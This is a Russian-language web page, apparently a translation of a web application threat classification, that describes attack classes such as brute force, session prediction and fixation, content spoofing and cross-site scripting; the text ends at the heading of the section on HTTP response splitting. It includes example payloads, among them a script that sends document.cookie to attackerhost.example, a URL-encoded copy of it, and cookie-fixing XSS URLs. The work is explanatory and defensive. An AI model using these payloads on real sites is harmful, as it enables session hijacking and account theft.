На главную  Карта сайта  
Главное меню
Реклама

Классификация угроз безопасности

ЦЕЛИ  

  • Определить все известные классы атак на Web-приложения.
  • Согласовать названия для каждого из классов.
  • Разработать структурированный подход к классификации атак.
  • Разработать документацию, содержащую общее описание каждого из классов.

    ВОЗМОЖНОЕ ИСПОЛЬЗОВАНИЕ

    Содействовать пониманию и разъяснению рисков, связанных с безопасностью Web-приложений. Повышать уровень разработки продуктов для предотвращения возникновения уязвимостей на этом этапе. Выступать в качестве руководства при оценке того, были ли учтены все угрозы при проектировании, разработке и проверке безопасности сайтов. Помогать в оценке возможностей и выборе решений для защиты Web-приложений.


    СОДЕРЖАНИЕ

    Введение
    Предпосылки к созданию классификации
    Краткое описание
    Классы атак
    1 Аутентификация (Authentication)
    1.1 Подбор (Brute Force)
    1.2 Недостаточная аутентификация (Insufficient Authentication)
    1.3 Небезопасное восстановление паролей (Weak Password Recovery Validation)
    2 Авторизация (Authorization)
    2.1 Предсказуемое значение идентификатора сессии (Credential/Session Prediction)
    2.2 Недостаточная авторизация (Insufficient Authorization)
    2.3 Отсутствие таймаута сессии (Insufficient Session Expiration).
    2.4 Фиксация сессии (Session Fixation)
    3 Атаки на клиентов (Client-side Attacks)
    3.1 Подмена содержимого (Content Spoofing)
    3.2 Межсайтовое выполнение сценариев (Cross-site Scripting, XSS)
    3.3 Расщепление HTTP-запроса (HTTP Response Splitting)
    Источник

    ВВЕДЕНИЕ

    Во многих организация Web-приложения используются как критически важные системы, которые должны ежедневно обслуживать многомиллионные транзакции. Однако истинная ценность Web-сайтов должна оцениваться на основе нужд каждой организации. Важность чего-либо довольно трудно представить только в виде определенной суммы.

    Уязвимости в Web-приложениях на довольно давно представляли опасность для пользователей. После идентификации уязвимости для осуществления атаки используется одна из нескольких техник. Обычно на эти техники ссылаются как на классы атак (методы использования уязвимостей). Многие из этих классов имеют распространенные названия, к примеру «переполнение буфера» (Buffer Overflows), «внедрение кода SQL» (SQL Injection), и «межсайтовое выполнение сценариев» (Cross-site Scripting). Эти классы атак будут использованы в качестве основы для описания и классификации угроз Web-приложений.

    Данный документ содержит компиляцию и квинтэссенцию известных классов атак, которые представляли угрозу для Web-приложений в прошлом и представляют сейчас. Каждому классу атак присвоено стандартное название и описаны его ключевые особенности. Классы организованы в иерархическую структуру.

    Создание классификации угроз безопасности Web-приложений является важным событием для разработчиков приложений, специалистов в области безопасности, производителей программных продуктов и других сторон, занимающихся безопасностью Web. На основе классификации в дальнейшем могут быть созданы методики обследования приложений, рекомендации по разработке приложений с учетом безопасности, требования к продуктам и службам.

    ПРЕДПОСЫЛКИ К СОЗДАНИЮ КЛАССИФИКАЦИИ

    За последние несколько лет индустрия безопасности web-приложений адаптировала несколько десятков путаных и эзотерических терминов, описывающих уязвимости.

    Такие названия уязвимостей, как «межсайтовое выполнение сценариев» (Cross-site Scripting), «подделка параметров» (Parameter Tampering), и «отравление печений» (Cookie Poisoning) не точно определяют суть проблемы и возможные последствия атак.

    К примеру, наличие уязвимости типа межсайтовое выполнение сценариев (Cross-site Scripting) может привести к похищению значений cookie пользователя. Знание значений cookie дает злоумышленнику возможность перехватить сессию пользователя и получить контроль над его учетной записью. Для эксплуатации этой уязвимости используется метод манипуляции параметрами пользовательского ввода и поделка параметров URL.

    Приведенный сценарий атаки может быть описан с использованием различных жаргонизмов. Этот сложный и переменчивый словарь часто вызывает проблемы и разногласия в открытых форумах, даже если стороны согласны с основной идеей.

    На протяжении долгих лет не существовало ресурса, который бы описывал уязвимости в Web-приложениях в достаточно полной и стандартной форме. Эта работа основана на выжимках из различных книг, десятков статей и сотен презентаций.

    Когда неофит безопасности Web-приложений приступает к обучению, его быстро вводит в заблуждение отсутствие стандартного языка. Эта ситуация затуманивает и без того неокрепшие знания и замедляет понимание картины в целом. Нам необходим формальный, стандартизированный инструмент для обсуждения уязвимостей, если мы собираемся повышать уровень защищенности Web-приложений.

    КРАТКОЕ ОПИСАНИЕ

    Аутентификация (Authentication)

    Подбор (Brute Force):
    подбор — автоматизированный процесс проб и ошибок, использующийся для того, чтобы угадать имя пользователя, пароль, номер кредитной карточки, ключ шифрования и т.д.

    Недостаточная аутентификация (Insufficient Authentication):
    эта уязвимость возникает, когда Web-сервер позволяет атакующему получать доступ к важной информации или функциям сервера без должной аутентификации.

    Небезопасное восстановление паролей (Weak Password Recovery Validation):
    эта уязвимость возникает, когда Web-сервер позволяет атакующему несанкционированно получать, модифицировать или восстанавливать пароли других пользователей.

    Авторизация (Authorization)

    Предсказуемое значение идентификатора сессии (Credential/Session Prediction):
    предсказуемое значение идентификатора сессии позволяет перехватывать сессии других пользователей.

    Недостаточная авторизация (Insufficient Authorization):
    недостаточная авторизация возникает, когда Web-сервер позволяет атакующему получать доступ к важной информации или функциям, доступ к которым должен быть ограничен.

    Отсутствие таймаута сессии (Insufficient Session Expiration):
    в случае если для идентификатора сессии или учетных данных не предусмотрен таймаут или его значение слишком велико, злоумышленник может воспользоваться старыми данными для авторизации.

    Фиксация сессии (Session Fixation):
    используя данный класс атак, злоумышленник присваивает идентификатору сессии пользователя заданное значение.

    Атаки на клиентов (Client-side Attacks)

    Подмена содержимого (Content Spoofing):
    используя эту технику, злоумышленник заставляет пользователя поверить, что страницы сгенерированны Web-сервером, а не переданы из внешнего источника.

    Межсайтовое выполнение сценариев (Cross-site Scripting, XSS):
    наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя.

    Расщепление HTTP-запроса (HTTP Response Splitting):
    при использовании данной уязвимости злоумышленник посылает серверу специальным образом сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа.

    Выполнение кода (Command Execution)

    Переполнение буфера (Buffer Overflow):
    эксплуатация переполнения буфера позволяет злоумышленнику изменить путь исполнения программы путем перезаписи данных в памяти системы.

    Атака на функции форматирования строк (Format String Attack):
    при использовании этих атак путь исполнения программы модифицируется методои перезаписи областей памяти с помощью функций форматирования символьных переменных.

    Внедрение операторов LDAP (LDAP Injection):
    атаки этого типа направлены на Web-серверы, создающие запросы к службе LDAP на основе данных, вводимых пользователем.

    Выполнение команд ОС (OS Commanding):
    атаки этого класса направлены на выполнение команд операционной системы на Web-сервере путем манипуляции входными данными.

    Внедрение операторов SQL (SQL Injection):
    эти атаки направлены на Web-серверы, создающие SQL запросы к серверам СУБД на основе данных, вводимых пользователем.

    Внедрение серверных сценариев (SSI Injection):
    атаки данного класса позволяют злоумышленнику передать исполняемый код, который в дальнейшем будет выполнен на Web-сервере.

    Внедрение операторов XPath (XPath Injection):
    эти атаки направлены на Web-серверы, создающие запросы на языке XPath на основе данных, вводимых пользователем.

    Разглашение информации (Information Disclosure)

    Индексирование директорий (Directory Indexing):
    атаки данного класса позволяют атакующему получить информацию о наличии файлов в Web каталоге, которые недоступны при обычной навигации по Web сайту.

    Идентификация приложений (Web Server/Application Fingerprinting):
    определение версий приложений используется злоумышленником для получения информации об используемых сервером и клиентом операционных системах, Web-северах и браузерах.

    Утечка информации (Information Leakage):
    эти уязвимости возникают в ситуациях, когда сервер публикует важную информацию, например комментарии разработчиков или сообщения об ошибках, которая может быть использована для компрометации системы.

    Обратный путь в директориях (Path Traversal):
    данная техника атак направлена на получение доступа к файлам, директориям и командам, находящимся вне основной директории Web-сервера.

    Предсказуемое расположение ресурсов (Predictable Resource Location):
    позволяет злоумышленнику получить доступ к скрытым данным или функциональным возможностям.

    Логические атаки (Logical Attacks)

    Злоупотребление функциональными возможностями (Abuse of Functionality):
    данные атаки направлены на использование функций Web-приложения с целью обхода механизмов разграничение доступа.

    Отказ в обслуживании (Denial of Service):
    данный класс атак направлен на нарушение доступности Web-сервера.

    Недостаточное противодействие автоматизации (Insufficient Anti-automation):
    эти уязвимости возникаеют, в случае, если сервер позволяет автоматически выполнять операции, которые должны проводиться вручную.

    Недостаточная проверка процесса (Insufficient Process Validation):
    уязвимости этого класса возникают, когда сервер недостаточно проверяет последовательность выполнения операций приложения.

    КЛАССЫ АТАК

    1 Аутентификация (Authentication)

    Раздел, посвященный аутентификации описывает атаки, направленные на используемые Web-приложением методы проверки идентификатора пользователя, службы или приложения.

    Аутентификация использует как минимум один из трех механизмов (факторов): «что-то, что мы имеем», «что-то, что мы знаем» или «что-то, что мы есть». В этом разделе описываются атаки, направленные на обход или эксплуатацию уязвимостей в механизмах реализации аутентификации Web-серверов.

    1.1 Подбор (Brute Force)

    Подбор — автоматизированный процесс проб и ошибок, использующийся для того, чтобы угадать имя пользователя, пароль, номер кредитной карточки, ключ шифрования и т.д.

    Многие системы позволяют использовать слабые пароли или ключи шифрования, и пользователи часто выбираю легко угадываемые или содержащиеся в словарях парольные фразы.

    Используя эту ситуацию, злоумышленник может воспользоваться словарем и попытаться использовать тысячи или даже миллионы содержащихся в нем комбинаций символов в качестве пароля. Если испытуемый пароль позволяет получить доступ к системе, атака считается успешной и атакующий может использовать учетную запись.

    Подобная техника проб и ошибок может быть использована для подбора ключей шифрования. В случае использования севером ключей недостаточной длины, злоумышленник может получить используемый ключ, протестировав все возможные комбинации.

    Существует два вида подбора: прямой и обратный. При прямом подборе используются различные варианты пароля для одного имени пользователя. При обратном перебераются различные имена пользователей, а пароль остается неизменным. В системах с миллионами учетных записей вероятность использования различными пользователями одного пароля довольно высока. Не смотря на популярность и высокую эффективность, подбор может занимать несколько часов, дней или лет.

    Пример
    Имя пользователя = Jon 
    Пароли = smith, michael-jordan, [pet names], [birthdays], [car names], …

    Имена пользователей = Jon, Dan, Ed, Sara, Barbara, …..
    Пароль = 12345678

    Ссылки
    «Brute Force Attack“, Imperva Glossary http://www.imperva.com/application_defense_center/glossary/brute_force.html“
    iDefense: Brute-Force Exploitation of Web Application Session ID's», By David Endler — iDEFENSE Labs http://www.cgisecurity.com/lib/SessionIDs.pdf

    1.2 Недостаточная аутентификация (Insufficient Authentication)

    Эта уязвимость возникает, когда Web-сервер позволяет атакующему получать доступ к важной информации или функциям сервера без должной аутентификации. Интерфейсы администрирования через Web  — яркий пример критичных систем.

    В зависимости от специфики приложения, подобные компоненты не должны быть доступны без должной аутентификации. Чтобы не использовать аутентификацию некоторые ресурсы «прячутся» по определенному адресу, который не указан на основных страницах сервера или других общедоступных ресурсах. Однако, подобный подход не более чем «безопасность через сокрытие». Важно понимать, что, не смотря на то, что злоумышленник не знает адреса страницы, она все равно доступна через Web.

    Необходимый URL может быть найден перебором типичных файлов и директорий (таких как /admin/), с использованием сообщений об ошибках, журналов перекрестных ссылок или путем простого чтения документации. Подобные ресурсы должны быть защищены адекватно важности их содержимого и функциональных возможностей.

     

    Пример
    Многие Web-приложения по умолчанию используют для административного доступа ссылку в корневой директории сервера (/admin/). Обычно ссылка на эту страницу не фигурирует в содержимом сервера, однако страница доступна с помощью стандартного браузера. Поскольку пользователь или разработчик предполагает, что никто не воспользуется этой страницей, так как ссылки на неё отсутствует, зачастую реализацией аутентификации пренебрегают. И для получения контроля над сервером злоумышленнику достаточно зайти на эту страницу.

    1.3 Небезопасное восстановление паролей (Weak Password Recovery Validation)

    Эта уязвимость возникает, когда Web-сервер позволяет атакующему несанкционированно получать, модифицировать или восстанавливать пароли других пользователей.

    Часто аутентификация на Web-сервере требует от пользователя запоминания пароля или парольной фразы. Только пользователь должен знать пароль, причем помнить его отчетливо. Со временем пароль забывается. Ситуация усложняется, поскольку в среднем пользователь посещает около 20 сайтов, требующих ввода пароля.

    (RSA Survey: http://news.bbc.co.uk/1/hi/technology/3639679.stm). Таким образом, функция восстановления пароля является важной составляющей предоставляемой Web-серверами сервиса.

    Примером реализации подобной функции является использование «секретного вопроса», ответ на который указывается в процессе регистрации. Вопрос либо выбирается из списка или вводится самим пользователем. Еще один механизм позволяет пользователю указать «подсказку», которая поможет ему вспомнить пароль. Другие способы требуют от пользователя указать часть персональных данных, таких как номер соц. страхования, ИНН, домашний адрес почтовый индекс и т.д., которые затем будут использоваться для установления личности. После того как пользователь докажет свою идентичность, система отобразит новый пароль или перешлет его по почте.

    Уязвимости связанные с недостаточной проверкой при восстановлении пароля возникают, когда атакующий получает возможность используемый механизм. Это случается, когда информацию, используемую для проверки пользователя, легко угадать или сам процесс подтверждения можно обойти. Система восстановления пароля может быть скомпрометирована путем использования подбора, уязвимостей системы или из-за легко угадываемого ответа на секретный вопрос.

    Примеры
    Слабые методы восстановления паролей

    Проверка информации

    Многие серверы требуют от пользователя указать его email в комбинации с домашним адресом и номером телефона. Эта информация может быть легко получена из сетевых справочников. В результате, данные, используемые для проверки, не являются большим секретом. Кроме того, эта информация может быть получена злоумышленником с использованием других методов, таких как межсайтовое выполнение сценариев или рыбарство (phishing).

    Парольные подсказки

    Сервер, использующий подсказки для облегчения запоминания паролей, может быть атакован, поскольку подсказки помогают в реализации подбора паролей. Пользователь может использовать стойкий пароль, например, «221277King» с соответствующей подсказкой: «д-р+люб писатель». Атакующий может заключить, что пользовательский пароль состоит из даты рождения и имени любимого автора пользователя. Это помогает сформировать относительно короткий словарь для атаки путем перебора.

    Секретный вопрос и ответ

    Предположим, ответ пользователя «Бобруйск», а секретный вопрос «Место рождения». Злоумышленник может ограничить словарь для подбора секретного ответа названиями городов. Более того, если атакующий располагает некоторой информацией об пользователе, узнать его место рождения не сложно.

    Ссылки
    «Protecting Secret Keys with Personal Entropy», By Carl Ellison, C. Hall, R. Milbert, and B. Schneier
    http://www.schneier.com/paper-personal-entropy.html
    «Emergency Key Recovery without Third Parties», Carl Ellison http://theworld.com/~cme/html/rump96.html

    2 Авторизация (Authorization)

    Данный раздел посвящен атакам, направленным на методы, которые используются Web-сервером для определения того, имеет ли пользователь, служба или приложение необходимые для совершения действия разрешения. Многие Web-сайты разрешают только определенным пользователям получать доступ к некоторому содержимому или функциям приложения. Доступ другим пользователям должен быть ограничен. Используя различные техники, злоумышленник может повысить свои привилегии и получить доступ к защищенным ресурсам.

    2.1 Предсказуемое значение идентификатора сессии (Credential/Session Prediction)

    Предсказуемое значение идентификатора сессии позволяет перехватывать сессии других пользователей. Подобные атаки выполняются путем предсказания или угадывания уникального идентификатора сессии пользователя. Эта атака также как и перехват сессии (Session Hijacking) в случае успеха позволяет злоумышленнику послать запрос Web-серверу с правами скомпрометированного пользователя. Дизайн многих серверов предполагает аутентификацию пользователя при первом обращении и дальнейшее отслеживание его сессии. Для этого пользователь указывает комбинацию имени и пароля. Вместо повторной передачи имени пользователя и пароля при каждой транзакции, Web-сервер генерирует уникальный идентификатор, который присваивается сессии пользователя. Последующие запросы пользователя к серверу содержат идентификатор сессии как доказательство того, что аутентификация была успешно пройдена. Если атакующий может предсказать или угадать значение идентификатора другого пользователя, это может быть использовано для проведения атаки.

    Примеры
    Многие серверы генерируют идентификаторы сессии, используя алгоритмы собственной разработки. Подобные алгоритмы могут просто увеличивать значение идентификатора для каждого запроса пользователя. Другой распространенный вариант — использование функции от текущего времени или других специфичных для компьютера данных.

    Идентификатор сессии сохраняется в cookie, скрытых полях форм или URL. Если атакующий имеет возможность определить алгоритм, используемый для генерации идентификатора сессии, он может выполнить следующие действия:
    1) подключиться к серверу, используя текущий идентификатор сессии;
    2) вычислить или подобрать следующий идентификатор сессии;
    3) присвоить полученное значение идентификатора cookie/скрытому полю формы/URL.

    Ссылки

    «iDefense: Brute-Force Exploitation of Web Application Session ID's», By David Endler — iDEFENSE Labs
    http://www.cgisecurity.com/lib/SessionIDs.pdf

    «Best Practices in Managing HTTP-Based Client Sessions», Gunter Ollmann — X-Force Security Assessment Services EMEA
    http://www.technicalinfo.net/papers/WebBasedSessionManagement.html

    «A Guide to Web Authentication Alternatives», Jan Wolter
    http://www.unixpapa.com/auth/homebuilt.html

    2.2 Недостаточная авторизация (Insufficient Authorization)

    Недостаточная авторизация возникает, когда Web-сервер позволяет атакующему получать доступ к важной информации или функциям, доступ к которым должен быть ограничен. То, что пользователь прошел аутентификацию не означает, что он должен получить доступ ко всем функциям и содержимому сервера. Кроме аутентификации должно быть реализовано разграничение доступа.

    Процедура авторизации определяет, какие действия может совершать пользователь, служба или приложение. Правильно построенные правила доступа должны ограничивать действия пользователя согласно политике безопасности. Доступ к важным ресурсам сайта должен быть разрешен только администраторам.

     

    Примеры
    В прошлом многие Web-серверы сохраняли важные ресурсы в «скрытых» директориях, таких как «/admin» или «/log». Если атакующий запрашивал эти ресурсы напрямую, он получал к ним доступ и мог перенастроить сервер, получить доступ к важной информации либо полностью скомпрометировать систему.

    Некоторые серверы, после аутентификации, сохраняют в cookie или скрытых полях идентификатор «роли» пользователя в рамках Web-приложения. Если разграничение доступа основывается на проверке данного параметра без верификации принадлежности к роли при каждом запросе, злоумышленник может повысить свои привилегии, просто модифицировав значение cookie.

    К примеру, значение cookie
    SessionId=12345678;Role=User
    Заменяется на 
    SessionId=12345678;Role=Admin

    Ссылки

    «Brute Force Attack», Imperva Glossary
    http://www.imperva.com/application_defense_center/glossary/brute_force.html

    «iDefense: Brute-Force Exploitation of Web Application Session ID's», By David Endler — iDEFENSE Labs
    http://www.cgisecurity.com/lib/SessionIDs.pdf

    2.3 Отсутствие таймаута сессии (Insufficient Session Expiration).

    В случае если для идентификатора сессии или учетных данных не предусмотрен таймаут или его значение слишком велико, злоумышленник может воспользоваться старыми данными для авторизации. Это повышает уязвимость сервера для атак, связанных с кражей идентификационных данных. Поскольку протокол HTTP не предусматривает контроль сессии, Web-серверы обычно используют идентификаторы сессии для определения запросов пользователя. Таким образом, конфиденциальность каждого идентификатора должна быть обеспечена, чтобы предотвратить множественный доступ пользователей с одной учетной записью. Похищенный идентификатор может использоваться для доступа к данным пользователя или осуществления мошеннических транзакций. Отсутствие таймаута сессии увеличивает вероятность успеха различных атак. К примеру, злоумышленник может получить идентификатор сессии, используя сетевой анализатор или уязвимость типа межсайтовое выполнение сценариев. Хотя таймаут не поможет в случае, если идентификатор будет использован немедленно, ограничение времени действия поможет в случае более поздних попыток использования идентификатора.

    В другой ситуации, если пользователь получает доступ к серверу с публичного компьютера (библиотека, Internet-кафе и т.д.) отсутствие таймаута сессии может позволить злоумышленнику воспользоваться историей браузера для просмотра страниц пользователя.

    Большое значение таймаута увеличивает шансы подбора действующего идентификатора. Кроме того, увеличение этого параметра ведет к увеличению одновременно открытых сессий, что ещё больше повышает вероятность успешного подбора.

    Пример
    При использовании публичного компьютера, когда несколько пользователей имеют неограниченный физический доступ к машине, отсутствие таймаута сессии позволяет злоумышленнику просматривать страницы, посещенные другим пользователем. Если функция выхода из системы просто перенаправляет на основную страницу Web-сервера, а не завершает сессию, страницы, посещенные пользователем, могут быть просмотрены злоумышленником. Поскольку идентификатор сессии не был отмечен как недействительный, атакующий получит доступ к страницам сервера без повторной аутентификации.

    Ссылки
    «Dos and Don'ts of Client Authentication on the Web», Kevin Fu, Emil Sit, Kendra Smith, Nick Feamster — MIT Laboratory for Computer Science
    http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf

    2.4 Фиксация сессии (Session Fixation)

    Используя данный класс атак, злоумышленник присваивает идентификатору сессии пользователя заданное значение. В зависимости от функциональных возможностей сервера, существует несколько способов «зафиксировать» значение идентификатора сессии. Для этого могут использоваться атаки типа межсайтовое выполнение сценариев или подготовка сайта с помощью предварительного HTTP запроса. После фиксации значения идентификатора сессии атакующий ожидает момента, когда пользователь войдет в систему. После входа пользователя, злоумышленник использует идентификатор сессии для получения доступа к системе от имени пользователя.

    Можно выделить два типа систем управления сессиями на основе идентификаторов. Первый из них, «разрешающий», позволяет браузеру указывать любой идентификатор. Системы второго «строгого» типа обрабатывают только идентификаторы, сгенерированные сервером. Если используются «разрешающие» системы, злоумышленник может выбрать любой идентификатор сессии. В случае со «строгими» серверами злоумышленнику приходится поддерживать «сессию-заглушку» и периодически соединяться с сервером для избежание закрытия сессии по таймауту.

    Без наличия активной защиты от фиксации сессии, эта атака может быть использована против любого сервера, аутентифицирующего пользователей с помощью идентификатора сессии. Большинство Web-серверов сохраняет ID в cookie, но это значение так же может присутствовать в URL или скрытом поле формы.

    К сожалению, системы, использующие cookie, являются наиболее уязвимыми. Большинство известных на настоящий момент вариантов фиксации сессии направлены именно на значение cookie.

    В отличие от кражи идентификатора, фиксация сессии предоставляет злоумышленнику гораздо больший простор для творчества. Это связанно с тем, что активная фаза атаки происходит до входа пользователя в систему.

    Пример
    Атаки, направленные на фиксацию сессии обычно проходят в три этапа.

    1) Установление сессии
    Злоумышленник устанавливает сессию-заглушку на атакуемом сервере и получает от сервера идентификатор или выбирает произвольный идентификатор. В некоторых случаях сессия-заглушка должна поддерживаться в активном состоянии путем периодических обращений к серверу.

    2) Фиксация сессии
    Злоумышленник передает значение идентификатора сессии-заглушки браузеру пользователя и фиксирует его идентификатор сессии. Это можно сделать, например, установив значение cookie в браузере с помощью XSS.

    3) Подключение к сессии
    Атакующий ожидает аутентификации пользователя на сервере. После того, как пользователь зашел на сайт, злоумышленник подключается к серверу, используя зафиксированный идентификатор, и получает доступ к сессии пользователя.

    Для фиксации ID сессии могут быть использованы различные техники, такие как:

  • Установка значения cookie с помощью языков сценариев на стороне клиента.
    Если уязвимость типа межсайтовое выполнение сценариев присутствует на любом сервере в домене, злоумышленник получает возможность установить значение cookie на стороне клиента.
    Пример кода:
    http://example/<script>document.cookie= «sessionid=1234;%20domain=.example.dom»;</script>.idc
  • Установка значения cookie с помощью тега META
    Это техника похожа на предыдущую, но может быть использована, когда предприняты меры против внедрения тегов сценариев.
    Пример кода:
    http://example/<meta%20http-equiv=Set-Cookie%20content= «sessionid=1234;%20domain=.example.dom»>.idc

    Установка cookie с использованием заголовка ответа HTTP

    Злоумышленник использует атакуемый сервер или любой сервер в домене для того, чтобы установить cookie с идентификатором сессии.
    Это может быть реализовано различными методами, например:

  • Взлом сервера в домене (например, слабо администрируемый сервер WAP).
  • Подмена значений в кэше DNS-сервера пользователя с целью добавления сервера атакующего в домен.
  • Установка ложного WEB-сервера в домене примеру, на рабочей станции в среде Active Directory, где все машины в DNS принадлежат одному домену).
  • Использование атаки типа расщепление HTTP ответа (response splitting).

    Замечание:
    Фиксация сессии на продолжительный промежуток времени может быть осуществлена с использованием постоянных cookie (например, со сроком действия 10 лет), которые сохраняются даже после перезагрузки компьютера.

    Пример кода:
    http://example/<script>document.cookie= «sessionid=1234;%20Expires=Friday,%201-Jan2010%2000:00:00%20GMT»;</script>.idc

    Ссылки
    «Session Fixation Vulnerability in Web-based Applications», By Mitja Kolsek — Acros Security
    http://www.acrossecurity.com/papers/session_fixation.pdf

    «Divide and Conquer», By Amit Klein — Sanctum
    http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf

    3 Атаки на клиентов (Client-side Attacks)

    Этот раздел описывает атаки на пользователей Web-сервера. Во время посещения сайта, между пользователем и севером устанавливаются доверительные отношения, как в технологическом, так и в психологическом аспектах. Пользователь ожидает, что сайт предоставит ему легитимное содержимое. Кроме того, пользователь не ожидает атак со стороны сайта. Эксплуатируя это доверие, злоумышленник может использовать различные методы для проведения атак на клиентов сервера.

    3.1 Подмена содержимого (Content Spoofing)

    Используя эту технику, злоумышленник заставляет пользователя поверить, что страницы сгенерированны Web-сервером, а не переданы из внешнего источника.

    Некоторые Web-страницы создаются с использованием динамических источников HTML-кода. К примеру, расположение фрейма (<frame src= «http://foo.example/file.html»>) может передаваться в параметре URL (http://foo.example/page?frame_src=http://foo.example/file.html). Атакующий может заменить значение параметра «frame_src» на «frame_src= http://attacker.example/spoof.html». Когда будет отображаться результирующая страница, в строке адреса браузера пользователя будет отображаться адрес сервера (foo.example), но так же на странице будет присутствовать внешнее содержимое, загруженное с сервера атакующего (attacker.example), замаскированное под легальный контент.

    Специально созданная ссылка может быть прислана по электронной почте, системе моментального обмена сообщениями, опубликована на доске сообщений или открыта в браузере пользователе с использованием межсайтового выполнения сценариев. Если атакующий спровоцировал пользователя на переход по специально созданной ссылке, у пользователя может создаться впечатление, что он просматривает данные с сервера, в то время как часть их была сгенерированна злоумышленником.

    Таким образом, произойдет «дефэйс» сайта http://foo.example на стороне пользователя, поскольку содержимое сервера будет загружено с сервера http://attacker.example. Эта атака так же может использоваться для создания ложных страниц, таких как формы ввода пароля, пресс-релизы и т.д.


    Пример
    Создание ложного пресс-релиза. Предположим, что Web-сервер динамически генерирует фреймы на странице с пресс-релизами компании. Когда пользователь перейдет по ссылке
    http://foo.example/pr?pg=http://foo.example/pr/01012003.html в его браузер загрузится страница следующего содержания:
    Пример кода:

    <HTML>
    <FRAMESET COLS= «100, *»>
    <FRAME NAME= «pr_menu» src= «menu.html» mce_src= «menu.html»>
    <FRAME NAME= «pr_content» SRC= «http://foo.example/pr/01012003.html>
    </FRAMESET>
    </HTML>


    Приложение „pr“ создает страницу с меню и динамически генерируемым значением тега FRAME SRC. Фрейм „pr_content“ отображает страницу, указанную в параметре „pg“ HTTP-запроса. Но поскольку атакующий изменил нормальный URL на значение http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.html и сервер не проводит проверки параметра „pg“, результирующий HTML код будет иметь следующий вид:

    <HTML>
    <FRAMESET COLS=„100, *“>
    <FRAME NAME=„pr_menu“ src=„menu.html“ mce_src=„menu.html“>
    <FRAME NAME=„pr_content“ src=„http://attacker.example/spoofed_press_release.html“ mce_src= «http://attacker.example/spoofed_press_release.html»>
    </FRAMESET>
    </HTML>


    Для конечного пользователя содержимое, загруженное с сервера «attacker.example» будет выглядеть, как страница сервера «foo.example».

    Ссылки

    «A new spoof: all frames-based sites are vulnerable» — SecureXpert Labs
    http://tbtf.com/archive/11-17-98.html#s02

    3.2 Межсайтовое выполнение сценариев (Cross-site Scripting, XSS)

    Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя. Этот код обычно создается на языках HTML/JavaScript, но могут быть использованы VBScript, ActiveX, Java, Flash, или другие поддерживаемые браузером технологии.

    Переданный код исполняется в контексте безопаснсти (или зоне безопасности) уязвимого сервера. Используя эти привилегии, код получает возможность читать, модифицировать или передавать важные данные, доступные с помощью браузера. У атакованного пользователя может быть скомпрометирован аккакунт (кража cookie), его браузер может быть перенаправлен на другой сервер или осуществлена подмена содержимого сервера. В результате тщательно спланированной атаки злоумышленник может использовать браузер жертвы для просмотра страниц сайта от имени атакуемого пользователя. Код может передаваться злоумышленником в URL, в заголовках HTTP запроса (cookie, user-agent, refferer), значениях полей форм и т.д.

    Существует два типа атак, приводящих к межсайтовому выполнению сценариев: постоянные (сохраненные) и непостоянные (отраженные). Основным отличием между ними является то, что в отраженном варианте передача кода серверу и возврат его клиенту осуществляется в рамках одного HTTP-запроса, а в хранимом — в разных.

    Осуществление непостоянной атаки требует, чтобы пользователь перешел по ссылке, сформированной злоумышленником (ссылка может быть передана по email, ICQ и т.д.). В процессе загрузки сайта код, внедренный в URL или заголовки запроса будет передан клиенту и выполнен в его браузере. Сохраненная разновидность уязвимости возникает, когда код передается серверу и сохраняется на нем на некоторый промежуток времени. Наиболее популярными целями атак в этом случае являются форумы, почта с Web-интерфейсом и чаты. Для атаки пользователю не обязательно переходить по ссылке, достаточно посетить уязвимый сайт.

     

    Примеры
    Сохраненный вариант атаки
    Многие сайты имеют доски объявлений и форумы, которые позволяют пользователям оставлять сообщения. Зарегистрированный пользователь обычно идентифицируется по номеру сессии, сохраняемому в cookie. Если атакующий оставит сообщение, содержащее код на языке JavaScript, он получит доступ к идентификатору сессии пользователя.

    Пример кода для передачи cookie:
    <SCRIPT>document.location= ' http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</SCRIPT>

    Отраженный вариант атаки
    Многие серверы предоставляют пользователям возможность поиска по содержимому сервера. Как правило, запрос передается в URL и содержится в результирующей странице.
    К примеру, при переходе по URL http://portal.example/search?q= «fresh beer» пользователю будет отображена страница, содержащая результаты поиска и фразу:
    «По вашему запросу fresh beer найдено 0 страниц». Если в качестве искомой фразы будет передан Javascript, он выполнится в браузере пользователя.

    Пример:
    http://portal.example/search/?q=<script>alert ( «xss»)</script>
    Для сокрытия кода сценария может быть использована кодировка URLEncode

    http://portal.example/index.php?sessionid=12312312&
    username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
    %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
    %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
    %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
    %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
    %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
    %63%72%69%70%74%3E

    Ссылки

    «CERT© Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests»
    http://www.cert.org/advisories/CA-2000-02.html

    «The Cross Site Scripting FAQ» — CGISecurity.com
    http://www.cgisecurity.com/articles/xss-faq.shtml

    Cross Site Scripting Info
    http://httpd.apache.org/info/css-security/

    Character entity references in HTML 4 
    http://www.w3.org/TR/html4/sgml/entities.html

    «Understanding Malicious Content Mitigation for Web Developers“
    http://www.cert.org/tech_tips/malicious_code_mitigation.html

    Cross-site Scripting: Are your web applications vulnerable?», By Kevin Spett — SPI Dynamics
    http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf

    «Cross-site Scripting Explained», By Amit Klein — Sanctum
    http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf

    «HTML Code Injection and Cross-site Scripting», By Gunter Ollmann
    http://www.technicalinfo.net/papers/CSS.html

    Русскоязычные ссылки

    «XSS без XSS». By Marsel [marsel roses.ru] aka Phoenix
    http://www.securitylab.ru/contest/212115.php

    3.3 Расщепление HTTP-запроса (HTTP Response Splitting)

